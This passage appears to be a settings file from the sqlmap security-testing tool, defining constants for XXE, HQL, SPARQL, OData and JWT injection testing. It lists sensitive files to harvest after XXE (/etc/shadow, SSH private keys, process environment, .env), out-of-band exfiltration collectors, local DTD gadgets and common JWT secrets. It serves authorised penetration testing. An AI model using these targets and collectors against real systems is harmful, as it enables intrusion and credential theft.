("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
|
|
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
|
|
("Go encoding/xml", r"XML syntax error on line \d+"),
|
|
# NOTE: 'unexpected end of ...' is what every parser says, not what an XML parser says. It matched
|
|
# the "Unexpected end of query" of BaseX, the "Unexpected <EOF>" of GraphQL and the "Unexpected end
|
|
# of file" of Freemarker. libxml2 says "Premature end of data", which is covered above
|
|
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML)"),
|
|
)
|
|
|
|
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
|
|
|
|
# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
|
|
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
|
|
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"
|
|
|
|
# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
|
|
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
|
|
# short host-identity file is enough to prove the read without tripping decoys.
|
|
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
|
|
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
|
|
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
|
|
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
|
|
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
|
|
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
|
|
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
|
|
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
|
|
OOB_EXFIL_ENDPOINT = "https://webhook.site"
|
|
OOB_CORRELATION_ID_LENGTH = 20
|
|
OOB_NONCE_LENGTH = 13
|
|
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
|
|
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
|
|
|
|
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
|
|
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
|
|
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
|
|
# The delay must exceed a DTD-processing control baseline by this many seconds.
|
|
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
|
XXE_TIME_THRESHOLD = 5
|
|
|
|
# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a
|
|
# working injection point (a schema-validated or non-reflected first node otherwise hides the finding);
|
|
# bounds the request cost on documents with many text nodes
|
|
XXE_LOCATION_SWEEP_MAX = 12
|
|
|
|
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
|
|
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
|
|
# A match means the injection reached the ORM query parser (not the SQL layer),
|
|
# which is what distinguishes HQL injection from ordinary SQL injection.
|
|
HQL_ERROR_SIGNATURES = (
|
|
("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
|
|
# NOTE: a bare 'QueryException' belongs to org.basex.query too (an XQuery engine), and the bare
|
|
# ANTLR "line N:M ..." line is emitted by Cassandra and Trino as well. Both are dropped: the
|
|
# package-qualified fragment above already covers org.hibernate.QueryException
|
|
("Hibernate", r"(?:QuerySyntaxException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
|
|
("Hibernate", r"(?:unexpected (?:token:|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property))"),
|
|
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
|
|
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
|
|
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
|
|
)
|
|
|
|
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
|
|
|
|
# The self-contained non-SQL technique switches, by conf option name (each is also its switch spelling,
|
|
# '--<name>'). Each is a whole scan for a different back-end class, so at most one may run: the target
|
|
# loop branches on them and the option validation rejects a pair. Kept in ONE place because it used to
|
|
# be spelled out at every site and had already drifted - '--jwt' was missing from the validation, which
|
|
# let '--jwt --nosql' through to run neither (conf.jwt also suppresses the passive JWT heuristic)
|
|
NONSQL_TECHNIQUES = ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe", "xslt", "hql", "sparql", "odata", "jwt")
|
|
|
|
# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full
|
|
# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in
|
|
# tutorials, framework defaults and CTFs
|
|
JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private",
|
|
"your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890",
|
|
"qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey")
|
|
|
|
# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom
|
|
# wordlist from turning an audit into an unbounded brute-force)
|
|
JWT_MAX_CRACK_WORDS = 2000000
|
|
|
|
# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
|
|
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
|
|
# leakage is the native way to learn the entity model). First capture group = name.
|
|
HQL_ENTITY_REGEX = (
|
|
r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
|
|
r"resolve root entity '([^']+)'",
|
|
r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
|
|
)
|
|
|
|
# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
|
|
HQL_CHAR_MIN = 0x20
|
|
HQL_CHAR_MAX = 0x7e
|
|
|
|
# Upper bound for the value-length search during HQL blind extraction
|
|
HQL_MAX_LENGTH = 256
|
|
|
|
# Maximum number of attributes to enumerate per entity during HQL blind extraction
|
|
HQL_MAX_FIELDS = 64
|
|
|
|
# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
|
|
HQL_MAX_RECORDS = 100
|
|
|
|
# Common mapped entity names brute-forced through the boolean oracle when the app
|
|
# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
|
|
# unmapped one raises UnknownEntityException and reads as false).
|
|
HQL_COMMON_ENTITIES = (
|
|
"User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
|
|
"Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
|
|
"Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
|
|
"Item", "Article", "Post", "Comment", "Category", "Document", "File",
|
|
"Message", "Group", "Session", "Token", "Application", "Setting",
|
|
)
|
|
|
|
# SPARQL injection ('--sparql'). Error signatures per triple-store for heuristic detection and
|
|
# fingerprinting, anchored to product-specific strings (not the bare "MalformedQueryException" /
|
|
# "Encountered" that several engines share) so they stay exclusive from the other non-SQL engines.
|
|
# Each tuple is (engine_name, regex_fragment).
|
|
SPARQL_ERROR_SIGNATURES = (
|
|
("Apache Jena / Fuseki", r"org\.apache\.jena|com\.hp\.hpl\.jena|Lexical error at line \d+, column \d+|\bQueryParseException\b"),
|
|
("Virtuoso", r"Virtuoso \d+ Error|SPARQL (?:compiler|query):|\bSP03\d\b"),
|
|
# NOTE 'MalformedQueryException' is the RDF4J/Sesame API type, which Blazegraph and Stardog raise
|
|
# too - matching on it alone mislabelled them as RDF4J, so only the package name is kept
|
|
("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"),
|
|
("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"),
|
|
("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"),
|
|
("Stardog", r"com\.(?:complexible\.)?stardog"),
|
|
)
|
|
|
|
SPARQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SPARQL_ERROR_SIGNATURES)
|
|
|
|
# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) SPARQL blind character scan
|
|
SPARQL_CHAR_MIN = 0x20
|
|
SPARQL_CHAR_MAX = 0x7e
|
|
|
|
# Bounds on blind SPARQL extraction (each unit costs many requests, so keep them sane)
|
|
SPARQL_MAX_LENGTH = 1024 # an IRI or literal can be long
|
|
SPARQL_MAX_PREDICATES = 64 # distinct predicates enumerated from the default graph
|
|
SPARQL_MAX_RECORDS = 64 # triples dumped from the default graph
|
|
|
|
# OData injection ('--odata'). $filter parser error signatures per framework, anchored to product strings
|
|
# so they stay exclusive from the other non-SQL engines. Each tuple is (framework_name, regex_fragment).
|
|
ODATA_ERROR_SIGNATURES = (
|
|
("Microsoft OData (WebAPI/.NET)", r"Microsoft\.OData|Microsoft\.Data\.OData|The query specified in the URI is not valid|Could not find a property named|There is an unterminated string literal at position|Syntax error at position \d+ in"),
|
|
("Apache Olingo (Java)", r"org\.apache\.olingo|The URI is malformed|Invalid OData"),
|
|
("OData4j / other", r"\bodata4j\b|An error occurred while processing the OData request"),
|
|
)
|
|
|
|
ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
|
|
|
|
# Printable-ASCII codepoint bounds for the OData blind character scan
|
|
ODATA_CHAR_MIN = 0x20
|
|
ODATA_CHAR_MAX = 0x7e
|
|
|
|
# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
|
|
# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
|
|
# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
|
|
# headroom for a longer key/property name in the same filter
|
|
ODATA_CHARSET_BLOCK = 8
|
|
|
|
ODATA_MAX_LENGTH = 256 # a single property value
|
|
ODATA_MAX_RECORDS = 20 # entities blind-dumped
|
|
ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key
|
|
|
|
# Candidate key properties probed to pin an entity for row-by-row extraction (real-world frequency order)
|
|
ODATA_KEY_CANDIDATES = ("Id", "ID", "Key", "Oid", "Guid", "Uuid", "Code", "No", "Number")
|
|
|
|
# Common string property names enumerated once injection is confirmed (an unknown property makes the
|
|
# whole $filter error, so existence is a clean null-probe oracle). Ordered by real-world frequency.
|
|
ODATA_COMMON_FIELDS = (
|
|
"Name", "Title", "Description", "Username", "UserName", "User", "Login", "Email", "Mail",
|
|
"Password", "Passwd", "Secret", "Token", "ApiKey", "Key", "Role", "FirstName", "LastName",
|
|
"FullName", "Phone", "Address", "City", "Country", "Status", "Type", "Code", "Hash", "Salt",
|
|
"Note", "Comment", "Value", "Content", "Data", "Owner", "Category", "Product", "Company",
|
|
)
|
|
|
|
XXE_IMPACT_FILES = (
|
|
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
|
|
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
|
)
|
|
|
|
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
|
|
# this curated set of high-value, fixed-path files (host identity, process env/
|
|
# secrets, key material, common application drop paths) - the XXE analogue of the
|
|
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
|
|
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
|
|
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
|
|
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
|
|
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
|
|
# request is honoured verbatim instead).
|
|
XXE_FILE_HARVEST = (
|
|
"/etc/passwd",
|
|
"/etc/hostname",
|
|
"/etc/hosts",
|
|
"/etc/os-release",
|
|
"/etc/shadow",
|
|
"/etc/group",
|
|
"/proc/self/environ",
|
|
"/proc/self/cmdline",
|
|
"/proc/self/status",
|
|
"/proc/version",
|
|
"/root/.bash_history",
|
|
"/root/.ssh/id_rsa",
|
|
"/flag",
|
|
"/flag.txt",
|
|
"c:/windows/win.ini",
|
|
"c:/windows/system32/drivers/etc/hosts",
|
|
"c:/inetpub/wwwroot/web.config",
|
|
)
|
|
|
|
# Application web roots + source filenames used, once php://filter is available, to
|
|
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
|
|
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
|
|
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
|
|
# environ}. Best-effort and bounded.
|
|
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
|
|
XXE_SOURCE_NAMES = (
|
|
"index.php", "config.php", "config.inc.php", "secret.php",
|
|
"db.php", "database.php", "settings.php", "init.php", "functions.php",
|
|
"app.py", "server.py", "main.py", "wp-config.php", ".env",
|
|
)
|
|
|
|
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
|
|
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
|
|
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
|
|
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
|
|
XXE_LOCAL_DTDS = (
|
|
("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable
|
|
("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package
|
|
("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
|
|
("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile
|
|
("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED
|
|
("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
|
|
("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
|
|
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
|
|
)
|
|
|
|
# Length of prefix and suffix used in non-SQLI heuristic checks
|
|
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
|
|
|
# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
|
|
MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
|
|
|
|
# Maximum response total page size (trimmed if larger)
|
|
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
|
|
|
|
# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
|
|
KEEPALIVE_MAX_REQUESTS = 1000
|
|
|
|
# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
|
|
KEEPALIVE_IDLE_TIMEOUT = 30
|
|
|
|
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
|
|
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
|
|
|
|
# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.)
|
|
HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024
|
|
|
|
# Maximum (multi-threaded) length of entry in bisection algorithm
|
|
MAX_BISECTION_LENGTH = 50 * 1024 * 1024
|
|
|
|
# Mark used for trimming unnecessary content in large connection reads
|
|
LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__"
|
|
|
|
# Generic SQL comment formation
|
|
GENERIC_SQL_COMMENT = "-- [RANDSTR]"
|
|
|
|
# Threshold value for turning back on time auto-adjustment mechanism
|
|
VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
|
|
|
# Check for empty columns only if table is sufficiently large
|
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
|
|
|
# Boldify all logger messages containing these "patterns"
|
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")
|
|
|
|
# Regular expression used to search for bold-patterns
|
|
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
|
|
|
|
# TLDs used in randomization of email-alike parameter values
|
|
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au")
|
|
|
|
# Generic www root directory names
|
|
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site")
|
|
|
|
# Maximum length of a help part containing switch/option name(s)
|
|
MAX_HELP_OPTION_LENGTH = 18
|
|
|
|
# Maximum number of connection retries (to prevent problems with recursion)
|
|
MAX_CONNECT_RETRIES = 100
|
|
|
|
# Strings for detecting formatting errors
|
|
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type", "Invalid conversion", "Incorrect integer value", "Truncated incorrect", "Out of range value", "datatype mismatch")
|
|
|
|
# Regular expression used for extracting ASP.NET view state values
|
|
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
|
|
|
|
# Regular expression used for extracting ASP.NET event validation values
|
|
EVENTVALIDATION_REGEX = r'(?i)(?P<name>__EVENTVALIDATION[^"]*)[^>]+value="(?P<result>[^"]+)'
|
|
|
|
# Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems)
|
|
LIMITED_ROWS_TEST_NUMBER = 15
|
|
|
|
# Default adapter to use for bottle server
|
|
RESTAPI_DEFAULT_ADAPTER = "wsgiref"
|
|
|
|
# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
|
|
# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
|
|
# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
|
|
# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
|
|
# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
|
|
# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
|
|
# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
|
|
RESTAPI_VERSION = "2.0.0"
|
|
|
|
# Default REST API server listen address
|
|
RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
|
|
|
|
# Default REST API server listen port
|
|
RESTAPI_DEFAULT_PORT = 8775
|
|
|
|
# Unsupported options by REST API server
|
|
RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")
|
|
|
|
# Use "Supplementary Private Use Area-A"
|
|
INVALID_UNICODE_PRIVATE_AREA = False
|
|
|
|
# Format used for representing invalid unicode characters
|
|
INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
|
|
|
# Regular expression for XML POST data
|
|
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
|
|
|
# Regular expression used for detecting JSON POST data
|
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|-?\d+(?:\.\d+)?|true|false|null|\[|\{).*\}\s*(\]\s*)*\Z'
|
|
|
|
# Regular expression used for detecting JSON-like POST data
|
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|-?\d+(?:\.\d+)?|\{).*\}\s*(\]\s*)*\Z"
|
|
|
|
# Regular expression used for detecting multipart POST data
|
|
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
|
|
|
# Regular expression used for detecting Array-like POST data
|
|
ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER)
|
|
|
|
# Default POST data content-type
|
|
DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8"
|
|
|
|
# Raw text POST data content-type
|
|
PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8"
|
|
|
|
# Length used while checking for existence of Suhosin-patch (like) protection mechanism
|
|
SUHOSIN_MAX_VALUE_LENGTH = 512
|
|
|
|
# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
|
|
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
|
|
# widens the result set with OR) and proves every value back against the target before returning it.
|
|
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
|
|
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
|
|
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit
|
|
MULTIBIT_PLANES = 7 # bit planes used to map rows in bulk (i.e. a window of 2**7 identifiers)
|
|
MULTIBIT_CANDIDATE_COLUMNS = 3 # row identifier candidates tried before giving up on a parameter
|
|
MULTIBIT_SAMPLES = 3 # repeats used to separate stable row markers from per-response junk
|
|
MULTIBIT_CALIBRATION_ROUNDS = 5 # random subsets checked before superposition is trusted
|
|
MULTIBIT_CONFIRM_CHUNK = 64 # characters proven back per confirmation request
|
|
MULTIBIT_MAX_FAILURES = 3 # unconfirmed values in a row before the channel is abandoned
|
|
MULTIBIT_MAX_PLANES = 12 # planes used to place the page's own (not necessarily consecutive) rows
|
|
MULTIBIT_MIN_BITS = 2 # bits per request below which there is nothing to gain
|
|
MULTIBIT_NARROW = "narrow" # AND-ed onto the live value: the page's own rows, any risk level
|
|
MULTIBIT_WIDEN = "widen" # OR-ed against a negated one: the whole table, asked for below its risk
|
|
MULTIBIT_WIDEN_RISK = 3 # risk the widen channel amounts to (OR payloads, boolean_blind.xml)
|
|
|
|
# Minimum size of an (binary) entry before it can be considered for dumping to disk
|
|
MIN_BINARY_DISK_DUMP_SIZE = 100
|
|
|
|
# Filenames of payloads xml files (in order of loading)
|
|
PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml")
|
|
|
|
# Regular expression used for extracting form tags
|
|
FORM_SEARCH_REGEX = r"(?si)<form(?!.+<form).+?</form>"
|
|
|
|
# Maximum number of lines to save in history file
|
|
MAX_HISTORY_LENGTH = 1000
|
|
|
|
# Minimum field entry length needed for encoded content (hex, base64,...) check
|
|
MIN_ENCODED_LEN_CHECK = 5
|
|
|
|
# Timeout in seconds in which Metasploit remote session has to be initialized
|
|
METASPLOIT_SESSION_TIMEOUT = 180
|
|
|
|
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
|
LOBLKSIZE = 2048
|
|
|
|
# Prefix used to mark special variables (e.g. keywords, having special chars, etc.)
|
|
EVALCODE_ENCODED_PREFIX = "EVAL_"
|
|
|
|
# Reference: https://en.wikipedia.org/wiki/Zip_(file_format)
|
|
ZIP_HEADER = b"\x50\x4b\x03\x04"
|
|
|
|
# Reference: http://www.cookiecentral.com/faq/#3.5
|
|
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
|
|
|
|
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
|
|
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce")
|
|
|
|
# Prefixes used in brute force search for web server document root
|
|
BRUTE_DOC_ROOT_PREFIXES = {
|
|
OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/usr/share/nginx/html", "/srv/www", "/srv/http", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"),
|
|
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
|
|
}
|
|
|
|
# Suffixes used in brute force search for web server document root
|
|
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
|
|
|
|
# String used for marking target name inside used brute force web server document root
|
|
BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
|
|
|
|
# Character used as a boundary in kb.chars (preferably less frequent letter)
|
|
KB_CHARS_BOUNDARY_CHAR = 'q'
|
|
|
|
# Letters of lower frequency used in kb.chars
|
|
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"
|
|
|
|
# Printable bytes
|
|
PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable)
|
|
|
|
# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
|
|
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules")
|
|
|
|
# CSS style used in HTML dump format
|
|
HTML_DUMP_CSS_STYLE = """<style>
|
|
table{
|
|
margin:10;
|
|
background-color:#FFFFFF;
|
|
font-family:verdana;
|
|
font-size:12px;
|
|
align:center;
|
|
}
|
|
thead{
|
|
font-weight:bold;
|
|
background-color:#4F81BD;
|
|
color:#FFFFFF;
|
|
}
|
|
tr:nth-child(even) {
|
|
background-color: #D3DFEE
|
|
}
|
|
td{
|
|
font-size:12px;
|
|
}
|
|
th{
|
|
font-size:12px;
|
|
cursor:pointer;
|
|
}
|
|
</style>"""
|
|
|
|
# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`).
|
|
#
|
|
# NOTE the SECOND underscore is deliberate and must stay. sqlmap scans os.environ TWICE, for two
|
|
# different things: this loop binds settings CONSTANTS at import, while `_mergeOptions` (option.py)
|
|
# binds conf OPTIONS at boot, matching `SQLMAP_<OPTION>` against optDict - that is how `SQLMAP_DBMS=mysql`
|
|
# acts as '--dbms=mysql'. The extra underscore is what keeps the two from reading each other's variables,
|
|
# and they really would collide: `DBMS` and `OS` name both a conf option and a global bound here (the
|
|
# enum classes), so on a single underscore `SQLMAP_DBMS=mysql` would set '--dbms' AND rebind the DBMS
|
|
# enum class to the string "mysql". So: `SQLMAP_<option>` sets an option, `SQLMAP__<CONSTANT>` a constant.
|
|
for key, value in os.environ.items():
|
|
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
|
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
|
if _ in globals():
|
|
original = globals()[_]
|
|
if isinstance(original, bool):
|
|
globals()[_] = value.lower() in ('1', 'true')
|
|
elif isinstance(original, int):
|
|
try:
|
|
globals()[_] = int(value)
|
|
except ValueError:
|
|
pass
|
|
elif isinstance(original, float):
|
|
try:
|
|
globals()[_] = float(value)
|
|
except ValueError:
|
|
pass
|
|
elif isinstance(original, (list, tuple)):
|
|
globals()[_] = [__.strip() for __ in value.split(',')]
|
|
elif isinstance(original, six.string_types):
|
|
globals()[_] = value
|
|
# anything else (dict, frozenset, enum class, compiled regex) is left alone: a raw string is
|
|
# not a usable substitute for one, and swapping it in fails far from here and silently - a
|
|
# frozenset turned into a string still answers `in`, just by substring
|